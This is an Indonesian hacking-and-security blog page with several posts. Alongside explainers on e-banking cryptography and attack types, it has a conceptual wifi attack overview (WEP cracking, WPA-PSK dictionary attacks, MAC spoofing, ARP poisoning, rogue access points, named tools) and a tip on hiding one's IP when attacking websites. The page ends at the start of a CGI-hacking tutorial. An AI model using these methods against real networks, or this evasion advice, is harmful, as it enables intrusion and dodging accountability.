Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

3

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

mp3 Player

Efek klik kanan

Selasa, 19 April 2016

Infrastruktur Keamanan e-Banking

"Infrastruktur Keamanan e-Banking"


Amankah aplikasi Internet Banking (e-banking)? Pertanyaan ini, meskipun sangat mendasar, terus-menerus menjadi perhatian yang serius bagi para pengembang aplikasi e-banking. Pasalnya, keberhasilan teknologi e-banking bukan pada seberapa jauh teknologi pengaman yang dipakai atau seberapa tebal lapisan proteksi untuk melindungi data-data pengguna e-banking, tetapi lebih kepada seberapa jauh para pengguna tersebut dapat diyakinkan mengenai fasilitas keamanan yang terpasang.

Survei terkini yang dirilis oleh UCLA Center for Communication Policy (www.ccp.ucla.com) pada November 2001, menyebutkan 58,4 persen koresponden non-pengguna Internet menyatakan ‘sangat setuju’ kalau aktifitas online beresiko pada masalah privasi, dan 16,1 persen ‘setuju’. Sedangkan dari koresponden pengguna Internet, 29,4 persen menyatakan ‘sangat setuju’ dan 27,1 persen ‘setuju’. Untuk kondisi di Indonesia, berdasarkan hasil survei yang dirilis oleh MarkPlus & Co. Juni 2000, 28,7 persen dari total responden tidak pernah bertransaksi online. Dari mereka tersebut, 15,1 persen alasannya lantaran ‘kuatir’ tentang keamanan di Internet dan 13,6 persen lantaran ‘yakin’ Internet beresiko tinggi.

Beralasankah kekuatiran tersebut? Sebenarnya aplikasi e-banking telah dilengkapi dengan berlapis pengaman privasi dan sekuriti. Beberapa komponen pengaman e-banking yang akan dibahas di sini adalah Secure Sockets Layer, Public Key Cryptography, Digital Signature dan Certificate of Authority. Dengan pembahasan ini mudah-mudahan kekuatiran tersebut dapat berkurang.


"Secure Sockets Layer (SSL)"

SSL yang pada awalnya dikembangkan oleh Netscape (www.netscape.com), diakui oleh industri Internet di dunia sebagai sebuah layer berkemampuan khusus yang menjembatani network layer Transmission Control Protocol/Internet Protocol (TCP/IP) dengan application layer HyperText Transport Protocol (HTTP) dan Internet Messaging Access Protocol (IMAP). Kemampuan khusus SSL tersebut adalah pada sistem penyandian yang mampu menghasilkan kode angka acak sepanjang 128 bit. Mudahnya, TCP/IP ibarat sebuah pipa paralon yang fungsinya menghantarkan segala paket data dan informasi untuk aplikasi semisal web dan e-mail.

Berhubung pipa paralon TCP/IP itu mudah bocor, seperti diintip atau dibajak oleh hacker, maka peran SSL adalah melindung TCP/IP tersebut dengan cara menyelimuti lagi bagian luarnya dengan pipa besi yang kedua ujung diberi gembok khusus. Gembok khusus yang berupa kombinasi 128 bit tersebut hanya dapat dibuka oleh kombinasi kunci khusus yang hanya dimiliki oleh si pengirim dan si penerima paket. Begitu gembok terbuka, maka pipa tersebut dapat mengalirkan data dengan lancar dari pengirim ke penerima. Kombinasi kunci khusus tersebut dikenal dengan istilah Public Key Cryptography.


"Public Key Cryptography"

Metode Public Key Cryptography yang dikenal juga dengan istilah Enkripsi Asimetris tersebut dikembangkan oleh RSA Data Security (www.rsa.com). RSA sendiri diambil dari nama pencetus sistem tersebut, yaitu Professors Rivest, Shamir dan Adleman. Dalam ilmu komputer, untuk melakukan proses enkripsi dan dekripsi diperlukan sebuah kunci berupa sandi rahasia 128 bit. Sandi tersebut dibentuk dari serangkaian fungi matematis yang disebut proses algoritma kriptografi. Para ahli sekuriti dari RSA tersebut berpendapat bahwa kehandalan keamanan dalam proses enkripsi dan dekripsi sebuah data bukan lagi hanya berdasarkan pada kecanggihan proses algoritmanya, tetapi pada kepemilikan kombinasi kunci yang tepat untuk menjalankan proses algoritma tersebut.

Jadi singkatnya, proses enkripsi dan dekripsi data memerlukan proses algoritma kriptografi. Untuk menjalankan proses tersebut diperlukan kombinasi kunci khusus. Kalau seseorang mengetahui proses algoritma yang dipakai, tentu tidak sulit untuk melakukan enkripsi dan dekripsi. Namun dengan adanya metode Public Key Cryptography tersebut, proses enkripsi dan dekripsi tersebut hanya dapat dijalankan apabila seseorang memiliki kombinasi kunci yang tepat.

Kombinasi kunci tersebut memerlukan dua buah kunci, yaitu private key dan public key. Public key tersebut dikirim bersama-sama dengan data yang telah dienkripsi. Seandainya saja data atau informasi terinkripsi tersebut berhasil dibajak oleh oleh hacker, keselamatan data tersebut tetap terjamin. Karena hacker tersebut jangankan sampai ke proses dekripsi 128 bit, untuk memulai proses dekripsinya saja dia tidak akan bisa karena hanya punya public key. Private key dengan aman tetap berada di tangan pengirim atau penerima data saja.

Fungsi penggunaan Public Key Cryptography terbagi atas dua bagian yang berjalan pararel, yaitu untuk konfidensialitas dan untuk otentifikasi identitas. Untuk fungsi konfidensialitas, pengirim mengenkripsi menggunakan public key milik penerima, lalu penerima mendekripsi data menggunakan private key milik penerima. Sedangkan untuk fungsi otentifikasi identitas, pengirim mengenkripsi data menggunakan private key milik pengirim, lalu penerima mendekripsi data menggunakan public key milik pengirim. Jika public key dan private key milik penerima dan pengirim cocok kombinasinya, barulah data-data tersebut dapat didekripsi untuk membuka gembok pipa.

Jika pipa saluran data sudah aman dan kunci gemboknya hanya Anda yang memegang, sekarang masalahnya siapa yang menjamin bahwa anda mendapatkan kiriman data memang dari orang yang Anda tunggu? Atau bagaimana meyakinkan pihak yang akan menerima kiriman data bahwa memang benar-benar Anda yang akan mengirimkan data tersebut? Untuk mengatasi validitas pengiriman tersebutlah maka digunakan teknologi Digital Signature.


"Digital Signature"

Digital Signature berfungsi untuk melakukan validasi terhadap setiap data yang dikirim. Dalam pengiriman data, secanggih apapun pipa dan gemboknya, tentu saja perlu diperhatikan validitasnya. Validitas tersebut berkaitan dengan pertanyaan apakah data yang sampai ke penerima dalam keadaan utuh sesuai dengan aslinya saat dikirim tanpa sedikitpun adanya gangguan-gangguan dari pihak lain. Digital Signature menggunakan fungsi algoritma yang disebut dengan istilah hashing algorithm. Fungsi tersebut akan menghasilkan sebuah kombinasi karakter yang unik yang disebut dengan hashed data.

Keunikannya adalah jika di tengah perjalanan data anda mengalami modifikasi, penghapusan maupun disadap diam-diam oleh hacker walapun hanya 1 karakter saja, maka hashed data yang berada si penerima akan berbeda dengan yang dikirimkan pada awalnya. Keunikan lainnya adalah hashed data tersebut tidak bisa dikembalikan lagi ke dalam bentuk awal seperti sebelum disentuh dengan fungsi algoritma, sehingga disebutlah sebagai one-way hash. Mekanisme kerja untuk menghasilkan Digital Signature tersebut adalah sebagai berikut (dicontohkan dalam proses kerja e-mail):

=====
a.
Proses hashing algorithm akan mengambil intisari dari isi e-mail yang akan dikirim, memprosesnya secara one-way hash dan menghasilkan hashed data. Kemudian hashed data tersebut di enkripsi menggunakan private key dan menghasilkan apa yang disebut dengan Digital Signature. Di dalam Digital Signature tersebut juga disertakan metode hashing algorithm yang digunakan.

b.
Kemudian Digital Signature tersebut dikirimkan bersama isi e-mail tersebut.

c.
Sesampainya di penerima, akan dilakukan proses hashing algorithm terhadap isi e-mail tersebut. Proses one-way hash persis seperti yang dilakukan saat pengiriman, karena algoritmanya turut dibawa dalam Digital Signature. Dari proses tersebut menghasilkan hashed-data sekunder.

d.
Secara pararel, Digital Signature yang diterima tadi langsung didekripsi oleh public key. Hasil dekripsi tersebut tentunya akan memunculkan hashed data yang serupa seperti hashed data sebelum dienkripsi oleh pengirim e-mail. Hashed data disebut hashed data primer.

e.
Proses selanjutnya adalah memperbandingkan hashed data primer dengan hashed data sekunder. Jika saja saat diperjalanan ada hacker yang mengubah atau menyadap isi e-mail, paka hashed data sekunder akan berbeda dengan hashed data primer. Segera mekanisme Digital Signature tersebut akan menyampaikan peringatan bahwa telah terjadi 'sesuatu' di tengah jalan.
=====

Setelah saluran data aman dengan menggunakan SSL, gembok terjamin dengan menggunakan Public Key Cryptography dan validitas data terjaga dengan menggunakan Digital Signature, kini tinggal satu masalah lagi. Siapakah yang bisa Anda percaya untuk menjamin kredibilitas ketiga faktor di atas (SSL, Public Key Cryptography dan Digital Signature)? Untuk itulah maka fungsi Certificate of Authority mengambil peranan.


"Certificate of Authority (CA)"

Certificate of Authority (CA) adalah sebuah dokumen elektronis yang digunakan untuk mengidentifikasikan individu, server, perusahaan atau entitas lainnya dan mengasosiasikannya identitas tersebut dengan public key. CA digunakan oleh Public Key Cryptography berkaitan dengan pertanyaan apakah data yang kita diterima benar-benar ldari pengirim yang kita percaya dan apakah data yang akan kita kirim akan benar-benar menuju ke penerima yang kita tuju. Masalah kepercayaan dan kredibilitas ini memang sangat diperlukan oleh sebuah entitas yang menjalankan suatu transaksi tertentu dengan pihak lain di Internet.

Jika sebuah entitas ingin menyelenggarakan sebuah transaksi di Internet, semisal e-commerce atau e-banking, maka setelah infrastrukturnya telah siap, dia tidak langsung beroperasi. Yang harus dilakukannya adalah mendaftarkan dirinya, server-nya dan perusahaannya ke sebuah institusi resmi untuk mendapatkan CA. CA tersebut dapat menjadi jaminan atas kredibilitas dan realibilitas infrastruktur yang dimilikinya. Beberapa institusi internasional di Internet yang menyediakan layanan CA ini adalah VeriSign, Inc (www.verisign.com), British Telecommunication (www.trustwise.com), GlobalSign (www.globalsign.net) dan Thawte Certification (www.thawte.com).


Mengenal Jenis Serangan

#----------------------------------------------#
judul : Mengenal Jenis Serangan
#----------------------------------------------#
                             


Dalam dunia hacking (tepatnya cracking ding!?) dikenal beberapa jenis serangan terhadap
server. Berikut ini jenis-jenis serangan dasar yang dapat dikelompokkan dalam minimal 6
kelas, yaitu:

Intrusion
---------
Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat
menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted
dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk
menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam
skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).
Hacking is an Art!? =)

Denial of Services (DoS)
------------------------
Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran
request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS)
misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting
request pada server secara serentak asimetris dan simultan sehingga buffer server akan
kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan server lagi namanya!?
(servicenya mati masak dibilang server? hehehe....)

Joyrider
--------
Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-novel hacking dan gak bisa
belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat
(istilahnya 'onani' dimesin orang). Atau dengan alasan pengen tau isinya mesin orang!? =).
Yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe
menyebabkan kerusakan atau kehilangan data.

Vandal
------
Jenis serangan spesialis pengrusak!? nothing else to explain mbah!? =)

Scorekeeper
-----------
Serangan yang bertujuan mencapai reputasi hasil cracking terbanyak. Biasanya hanya
berbentuk deface halaman web (index/nambah halaman) dengan memampangakan NickName dan
kelompok tertentu. Sebagian besar masih tidak perduli dengan isi mesin sasarannya =).
Saat ini jenis penyerang ini lebih dikenal dengan sebutan WannaBe/Script kiddies.

Spy
---
Tiga hurup saja. Jenis serangan untuk memperoleh data atau informasi rahasia dari mesin
target. Biasanya menyerang pada mesin-mesin dengan aplikasi database didalamnya. Kadang
kala suatu perusahaan menyewa 'mata-mata' untuk mencuri data perusahaan rivalnya!? Mau
coba Pak? =)

Demikian dulu sedikit mengenai jenis serangan pada mesin target yang kebanyakan tentunya
Semoga menjadi referensi yg baik meski kurang layak. Caci maki dapat
ditujukan ke saya pribadi!?

Tips Belajar IT

#########################################################################
Tips Belajar IT

########################################################################

Oke saya akan mulai ngebanyol....

Kita tau, dunia IT tuh luass banget. Oiya mungkin saya akan cerita sedikit yang saya tau tentang IT.
IT itu singkatan dari Information Technology.

Informasi    = Data yang telah diolah dan memiliki arti tertentu bagi penggunanya
Technology   = Techno dan Logos

Techno = Teknik, ini berarti bukan teori tapi ilmu terapan
Logos = Mungkin kamu tau ye, sama seperti logos dalam kata biologi, zoologi dll. Artinya kira2 adalah ilmu.

Jadi kalau saya tdk salah technology adalah ilmu yang mempelajary ttg teknik.
perlu diingat technology itu produk jadi atau terapan, paroduk dari apa? Ya itu tadi ilmu tadi.

Jadi dapat loe bayangin IT itu luaaaaasss banget. Segala yang berhubungan dengan teknologi informasi bisa masuk ke IT.
Mungkin pemikiran kita selama ini IT hanyalah telekomunikasi dan komputer. Memang itu adalah bagian yg sangat penting
dari IT, tapi ada lho bagian lain. Jadi seluruh produk terapan utk mengolah/utak-utik informasi itu bisa disebut IT,
misal: Kentongan, pentungannye tukang es tung2, klakson, dll.


Oke2 kita sekarang konsen ke komputer aja, ini kan bidang kita....:)

Seperti kita ketahui bidang komputer itu kan banyak banget, misal:
-Database
-Web
-Networking
-Programming
-Hacking/Security
-Operator, dll

Kalo kita pelajarin semua itu, maka gwe jamin kita akan klenger....
Bayangin loe harus gape: Linux, C, PHP, Oracle, VB, Cisco, Windows, Office, Flash, Dreamweaver, dll.
Gimane gak klenger tuh......:)

Nah saya punya sedikit trik untuk menyiasatinya nih, mudah mudahan berguna.
Begini nih caranya:

1- Tentukan tujuan ente. Udah baca bukunya Stephen R Covey yg judulnya 7 habbit of Highly Effective teen
(7 kebiasaan remaja yang efektif)? kl belom gwe ada tuh mau kl sewa. atau beli di gramed murah kok cm sekitar 30rb an.
gwe dapet advice yg bagus bgt tuh dari buku itu: Sama seperti loe nyetir kendaraan, loe hrs tau dulu loe mau kemana.
* apakah anda tertarik dengan networking?
* apakah anda tertarik dengan database?
* apakah anda tertarik dengan hacking/security?
* apakah anda tertarik dengan desain, web aplication atau programming?
Semuanya terserah anda, anda harus tentukan dulu dari awal anada mau kemana. Kalau bisa satu2 aja dulu, walaupun anda
mungkin tertarik dengan lebih dari satu. Tapi intinya fokus aja dulu (coba baca bukunya Al-Ries yg judulnya
"Fokus, masa depan perudahaan anda ditentukan oleh fokus").
Oh iye, selain harus tau tujuan, ente harus berusaha sulu 'utk jadi sopir dari diri loe sendiri',
maksudnya gini: Tujuan loe itu adalah murni kemauan loe, bukan kemauan ortu, pacar, temen atau sekedar ikut2an.

2-Dasar dari semuanya adalah OS (Operating System). Seperti kita ketahui, OS adalah background dari aplikasi yang
berjalan di atas komputer. Loe mau jalanin program apaun (database, desain, dll) loe pasti harus belajar OS dulu.
So, pilih OS dari sekarang yg loe mau. Loe bisa pilih Microsoft base, atau OpenSource base (Spt Linux). J
adi mulai dari sekarang, kamu perdalam lagi ya kemempuan pengoperasian OS kau (Tidak hanya sekedar buka Windows
Explorer doang lho)

3-Tinggal pilih deh kamu mau apa. Ada beberapa skenario yang ada dalam otak saya sekarang ini:
-Kamu pilih Linux sebagai OS, kamu tertarik ke database: Kamu bisa belajar PostgreSQL, MySQL, dll.
-Kamu pilih Windows sebagai OS, kamu tertarik ke database: Kamu bisa belajar Ms SQL server atau bisa juga Oracle.
-Kamu pilih Linux sebagai OS, kamu tertarik ke desain grafis: Kamu bisa pakai GIMP, atau KIvio, dll.
-Kamu pilih Windows sebagai OS, kamu tertarik ke desain grafis: Kamu bisa pakai Photoshop, Corel Draw, Visio, dll.


4-Strategi belajar: Ini negh yang rada seru, saya buka rahasia belajar saya (Tapi gak selalu yang terbaik).
* Buat target dari sekarang (jangka pendek). Misal dalam 1 bulan ini kamu harus tamatin 1 buku tentang topik
bahasan tertentu. Misal saya abis beli buku "Winsows 2000 professional reference", maka saya harus 'habiskan'
dalam membaca buku tersebut dalam 2 bulan. Jadi dalam 2 bulan saya harus sudah bisa Windows 2000.
Bagaimanapun caranya. Misal: saya baca buku tersebut, lalu saya 'incar' orang yg tau tentang pokok bahasan
tersebut. Jadi jika ada pertanyaan maka saya akan tanya ke dia.
* Buat target jangka panjang. Misal saya harus mendapatkan sertifikasi CCNA (Cisco Certified Network Associate)
dalam 6 bulan ini. Jadi saya harus mengejar target tersebut.

Tips yg lain....
Belum kepikiran...:)


Oke deh itu aja dulu tips dari saya.
Oiya kalau kamu ada saran dan kritik kirim balik ye. Misal kamu merasa bahwa tulisan saya kurang bermutu pada bagian blah blah blah...
Boleh kok, saya juga masih belajar. Jadi kita sama2 belajar otreh...?

Oke deh selamat belajar aja.....

Pesan:"Ilmu yang tidak diamalkan, seperti pohon tanpa buah".

Note:
KillFinger: "Ini merupakan tulisan yang sudah lama bgt namun masih tetap relevan dengan perkembangan IT saat ini."

Wireless Security (Hacking Wifi)

Wireless Security (Hacking Wifi)
By:RobinMasterGrayFox
@Email:Cahyakm10@gmail.com
website  http://annindohacktivist.blogspot.co.id
Jaringan  Wifi  memiliki  lebih  banyak  kelemahan  dibanding  dengan  jaringan  kabel.  Saat  ini
perkembangan teknologi wifi  sangat  signifikan sejalan dengan kebutuhan sistem informasi  yang
mobile.  Banyak  penyedia  jasa  wireless  seperti  hotspot  komersil,  ISP,  Warnet,  kampus-kampus
maupun perkantoran sudah mulai memanfaatkan wifi pada jaringan masing masing, tetapi sangat
sedikit  yang memperhatikan keamanan komunikasi  data pada jaringan wireless tersebut.  Hal  ini
membuat  para  hacker  menjadi  tertarik  untuk  mengexplore  keamampuannya  untuk  melakukan
berbagai aktifitas yang biasanya ilegal menggunakan wifi. 
Pada artikel  ini  akan dibahas  berbagai  jenis  aktivitas  dan metode  yang dilakukan para hacker
wireless  ataupun  para  pemula  dalam melakukan  wardriving.  Wardriving  adalah  kegiatan  atau
aktivitas untuk mendapatkan informasi tentang suatu jaringan wifi dan mendapatkan akses terhadap
jaringan wireless tersebut. Umumnya bertujuan untuk mendapatkan koneksi internet, tetapi banyak
juga yang melakukan untuk maksud-maksud tertentu mulai  dari  rasa keingintahuan,  coba coba,
research, tugas praktikum, kejahatan dan lain lain. 
Kelemahan Wireless
Kelemahan jaringan wireless secara umum dapat  dibagi  menjadi 2 jenis,  yakni kelemahan pada
konfigurasi  dan  kelemahan  pada  jenis  enkripsi  yang  digunakan.  Salah  satu  contoh  penyebab
kelemahan pada konfigurasi  karena saat  ini  untuk membangun sebuah jaringan wireless  cukup
mudah.  Banyak  vendor  yang  menyediakan  fasilitas  yang  memudahkan  pengguna  atau  admin
jaringan sehingga sering ditemukan wireless yang masih menggunakan konfigurasi wireless default
bawaan  vendor.  Penulis  sering  menemukan  wireless   yang  dipasang  pada  jaringan  masih
menggunakan setting default bawaan vendor seperti  SSID, IP Address , remote manajemen, DHCP
enable, kanal frekuensi, tanpa enkripsi bahkan user/password untuk administrasi wireless tersebut. 
WEP (Wired Equivalent Privacy) yang menjadi standart  keamanan wireless sebelumnya,  saat  ini
dapat dengan mudah dipecahkan dengan berbagai tools yang tersedia gratis di internet. WPA-PSK
dan LEAP yang dianggap menjadi solusi menggantikan WEP, saat ini juga sudah dapat dipecahkan
dengan metode dictionary attack secara offline.
Beberapa kegiatan dan aktifitas yang dilakukan untuk mengamanan jaringan wireless antara lain:
1. Menyembunyikan SSID
Banyak administrator menyembunyikan Services Set  Id (SSID) jaringan wireless mereka dengan 
maksud agar  hanya yang mengetahui  SSID yang dapat  terhubung ke  jaringan mereka.  Hal  ini
tidaklah benar, karena SSID sebenarnya tidak dapat disembuyikan secara sempurna. Pada saat saat
tertentu atau khususnya saat  client akan terhubung (assosiate) atau ketika akan memutuskan diri
(deauthentication) dari sebuah jaringan wireless, maka client akan tetap mengirimkan SSID dalam
bentuk plain text (meskipun menggunakan enkripsi), sehingga jika kita bermaksud menyadapnya,
dapat dengan mudah menemukan informasi tersebut. Beberapa tools yang dapat digunakan untuk
mendapatkan  ssid yang dihidden antara  lain,  kismet  (kisMAC),  ssid_jack (airjack),  aircrack ,
void11 dan masih banyak lagi.
2. Keamanan wireless hanya dengan kunci WEP
WEP merupakan  standart  keamanan  & enkripsi  pertama  yang  digunakan  pada  wireless,  WEP 
memiliki berbagai kelemahan antara lain : 
Masalah kunci yang lemah, algoritma RC4 yang digunakan dapat dipecahkan.
WEP menggunakan kunci yang bersifat statis
Masalah initialization vector (IV) WEP
Masalah integritas pesan Cyclic Redundancy Check (CRC-32)
WEP terdiri  dari  dua tingkatan, yakni  kunci  64 bit,  dan 128 bit.  Sebenarnya kunci  rahasia pada 
kunci  WEP 64 bit  hanya 40 bit,  sedang 24bit  merupakan Inisialisasi Vektor (IV).  Demikian juga
pada kunci WEP 128 bit, kunci rahasia terdiri dari 104bit.
Serangan-serangan pada kelemahan WEP antara lain :
- Serangan  terhadap  kelemahan  inisialisasi  vektor  (IV),  sering disebut  FMS attack.  FMS 
singkatan  dari  nama  ketiga  penemu  kelemahan  IV yakni  Fluhrer,  Mantin,  dan  Shamir.
Serangan ini dilakukan dengan cara mengumpulkan IV yang lemah sebanyak-banyaknya.
Semakin banyak IV lemah yang diperoleh, semakin cepat ditemukan kunci yang digunakan
( www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf )
- Mendapatkan IV yang unik  melalui packet data yang diperoleh untuk diolah untuk proses
cracking kunci  WEP dengan lebih cepat.  Cara ini  disebut  chopping attack, pertama kali
ditemukan oleh h1kari.  Teknik ini hanya membutuhkan IV yang unik sehingga mengurangi
kebutuhan IV yang lemah dalam melakukan cracking WEP.
- Kedua serangan diatas membutuhkan waktu dan packet yang cukup, untuk mempersingkat
waktu,  para  hacker  biasanya  melakukan  traffic injection.  Traffic  Injection yang  sering
dilakukan adalah dengan cara mengumpulkan packet ARP kemudian mengirimkan kembali
ke access point. Hal ini mengakibatkan pengumpulan initial vektor lebih mudah dan cepat.
Berbeda dengan serangan pertama dan kedua,  untuk serangan  traffic injection,diperlukan
spesifikasi  alat  dan aplikasi  tertentu yang mulai  jarang ditemui  di  toko-toko, mulai  dari


chipset,  versi  firmware,  dan  versi  driver   serta  tidak  jarang  harus  melakukan  patching
terhadap driver dan aplikasinya.
3. Keamanan wireless hanya dengan kunci WPA-PSK atau WPA2-PSK
WPA merupakan teknologi keamanan sementara yang diciptakan untuk menggantikan kunci 
WEP. Ada dua jenis yakni WPA personal (WPA-PSK), dan WPA-RADIUS.
Saat  ini  yang sudah dapat  di  crack adalah WPA-PSK,  yakni  dengan metode brute force 
attack secara offline. Brute force dengan menggunakan mencoba-coba banyak kata dari suatu
kamus.  Serangan ini akan berhasil jika passphrase yang yang digunakan wireless tersebut
memang terapat pada kamus kata yang digunakan si hacker. 
Untuk mencegah adanya serangan terhadap keamanan wireless menggunakan WPA-PSK,
gunakanlah passphrase yang cukup panjang (satu kalimat). 
Tools yang sangat terkenal  digunakan  melakukan serangan ini adalah CoWPAtty (
http://www.churchofwifi.org/ ) dan aircrack ( http://www.aircrack-ng.org ) . Tools ini
memerlukan daftar kata atau wordlist, dapat di ambil dari http://wordlist.sourceforge.net/ 

4. MAC Filtering
Hampir  setiap wireless  access  point  maupun router  difasilitasi  dengan  keamanan MAC
Filtering.  Hal  ini  sebenarnya  tidak  banyak membantu  dalam mengamankan  komunikasi
wireless, karena MAC address sangat mudah  dispoofing atau bahkan dirubah.
Tools ifconfig pada OS Linux/Unix atau beragam tools spt  network utilitis, regedit, smac,
machange  pada  OS windows  dengan mudah digunakan  untuk  spoofing atau  mengganti
MAC address.
Penulis  masih  sering  menemukan  wifi  di  perkantoran  dan  bahkan  ISP (yang  biasanya
digunakan oleh warnet-warnet) yang hanya menggunakan proteksi MAC Filtering. Dengan
menggunakan  aplikasi  wardriving  seperti  kismet/kisMAC  atau  aircrack  tools,  dapat
diperoleh informasi MAC address tiap client yang sedang terhubung ke sebuah Access Point. 
Setelah  mendapatkan  informasi  tersebut,  kita  dapat  terhubung  ke  Access  point  dengan
mengubah MAC sesuai  dengan client tadi.  Pada jaringan wireless,  duplikasi  MAC adress
tidak mengakibatkan konflik. Hanya membutuhkan IP yang berbeda dengan client yang tadi.
5. Captive Portal
Infrastruktur  Captive  Portal  awalnya  didesign  untuk  keperluan  komunitas  yang 
memungkinkan  semua  orang  dapat  terhubung  (open  network).  Captive  portal  sebenarnya
merupakan mesin router  atau gateway yang memproteksi  atau tidak mengizinkan adanya trafik
hingga user melakukan registrasi/otentikasi. Berikut cara kerja captive portal :
user dengan wireless client diizinkan untuk terhubung  wireless untuk mendapatkan IP
address (DHCP)
block semua trafik kecuali yang menuju ke captive portal (Registrasi/Otentikasi berbasis
web) yang terletak pada jaringan kabel.
redirect atau belokkan semua trafik web ke captive portal
setelah user melakukan registrasi atau login, izinkan akses ke jaringan (internet)
Beberapa hal  yang perlu diperhatikan,  bahwa captive portal  hanya melakukan tracking koneksi
client berdasarkan IP dan MAC address  setelah melakukan otentikasi.  Hal  ini membuat  captive
portal masih dimungkinkan digunakan tanpa otentikasi karena IP dan MAC adress dapat dispoofing.
Serangan dengan melakukan spoofing IP dan MAC. Spoofing MAC adress  seperti  yang sudah
dijelaskan pada  bagian 4 diatas.  Sedang untuk spoofing IP,  diperlukan usaha yang lebih yakni
dengan memanfaatkan ARP cache poisoning, kita dapat melakukan redirect trafik dari client yang
sudah terhubung sebelumnya.
Serangan lain yang cukup mudah dilakukan adalah menggunakan Rogue AP, yaitu mensetup Access
Point (biasanya menggunakan HostAP) yang menggunakan komponen informasi yang sama seperti
AP target seperti SSID, BSSID hingga kanal frekwensi yang digunakan. Sehingga ketika ada client
yang akan terhubung ke AP buatan kita, dapat kita membelokkan trafik ke AP sebenarnya. 
Tidak jarang captive portal yang dibangun pada suatu hotspot memiliki kelemahan pada konfigurasi
atau design jaringannya.  Misalnya,  otentikasi  masih menggunakan plain text  (http),  managemen
jaringan dapat diakses melalui wireless (berada pada satu network), dan masih banyak lagi.
Kelemahan  lain  dari  captive  portal  adalah  bahwa  komunikasi  data  atau  trafik  ketika  sudah
melakukan  otentikasi  (terhubung  jaringan)  akan  dikirimkan  masih  belum terenkripsi,  sehingga
dengan mudah dapat disadap oleh  para hacker. Untuk itu perlu berhati-hati melakukan koneksi pada
jaringan  hotspot,  agar  mengusahakan  menggunakan  komunikasi  protokol  yang  aman  seperti
https,pop3s, ssh, imaps dst.
Byeee

Menyembunyikan Diri

Tips Menyembunyikan Diri


 Banyak yang kasih tips, kalo mo macem-macem di internet, pergilah ke warnet dan browsing dari situ. Apa maksudnya ? tentu saja karena hampir semua web site yang merecord pengunjungnya (termasuk jasakom;) akan mencatat no IP, waktu akses, dll. Dari apa yang di catat ini, yang paling penting adalah no IP. Dengan nomor IP bisa di trace siapakah pemakainya, contohnya anda mendial ke isp CBN misalkan kemudian mencuri atau merusak web site orang. Pemilik web site akan melihat nomor IP yang dicatat bahwa nomor IP tersebut milik CBN. Kemudian orang tersebut akan mencari ke CBN yang juga mencatat nomor IP yang di berikan kepada clientnya pada jam yang di catat orang sang korban. Tentu saja CBN yang setelah mengetahui username dan alamat yang digunakan untuk login bisa segera melacak sang pengacau... maka intinya, bermainlah di warnet. Mereka yang mengecek sampai kewarnet akan segera berhenti karena pemakainya adalah umum.

    Well, cara itu memang ada benarnya tapi apakah itu satu2nya cara ? tentu saja tidak. Anda bisa melakukan browsing secara anonymous dengan bantuan web site yang memberikan hal tersebut. Salah satu dari sekian banyak web site tersebut adalah : http://www.anonymizer.com/. Selain itu anda juga bisa menggunakan software seperi anonymous proxy yang bisa anda download dari web site : http://inetprivacy.com
Dengan melalui web site yang menyediakan fasilitas anonymous ini, anda bisa browsing secara aman, karena semua yang di catat oleh web server yang anda kunjungi adalah milik web site penyedia jasa anonymous yang anda dijamin aman. Jadi, kenapa harus ke warnet ?

Cara Mudah Hacking CGI

Cara Mudah Hacking CGI 


1.1 Awas
1.2 Sedikit basa-basi
1.3 CGI-Scripts, apa tuh?
1.4 Hacking CGI-Scripts / menggunakan CGI-Scripts untuk hacking ?
1.5 Mengapa (beberapa) CGI-Scripts sangat mudah di hack ?
1.6 Kelemahan scripts dan bagaimana cara meng-hacknya ?
1.7 Bagaimana cara mencari situs yang memiliki kelemahan ?
1.8 Salam


1.1 Awas

Sebelum saya mulai tutorial hacking ini saya kembali mengingatkan bahwa semua ini saya paparkan semata-mata sebagai pengetahuan bagi kita maupun peringatan bagi para web administrator dalam menanggulangi segala bentuk serangan yang mungkin terjadi oleh ulah iseng seseorang. Mudah2an artikel ini dapat bermanfaat bagi kita semua dalam memahami kelemahan2 apa saja yang ada pada CGI dan bagaimana cara penanggulangannya. Hacker bukanlah kriminal murahan yang kerjanya hanya menteror orang dan merugikan banyak pihak, jadilah hacker sejati yang selalu haus akan ilmu pengetahuan dan selalu belajar serta menolong orang lain (dalam belajar)


1.2 Sedikit basa-basi

Beberapa waktu lalu saat saya browsing di Internet kebetulan saya menemukan directory CGI-BIN dalam sebuah website. Memang sebenarnya dulu saya sudah pernah melihat yang seperti itu, namun waktu itu ketertarikan saya terhadap CGI masih kurang. Sampai pada beberapa minggu yang lalu setelah saya memahami sedikit dari kelemahan2 CGI yang saya dapatkan pada artikel2 di Internet, interest saya tentang topik ini semakin tinggi, terlebih saat saya menjumpai file bernama password.txt atau file2 lain yang berisi daftar username dan password pada sebuah site. Sampai2 terlintas dalam benak saya "Masa sih informasi penting seperti ini tergeletak begitu saja di web?"


1.3 CGI-Scripts, apa tuh?

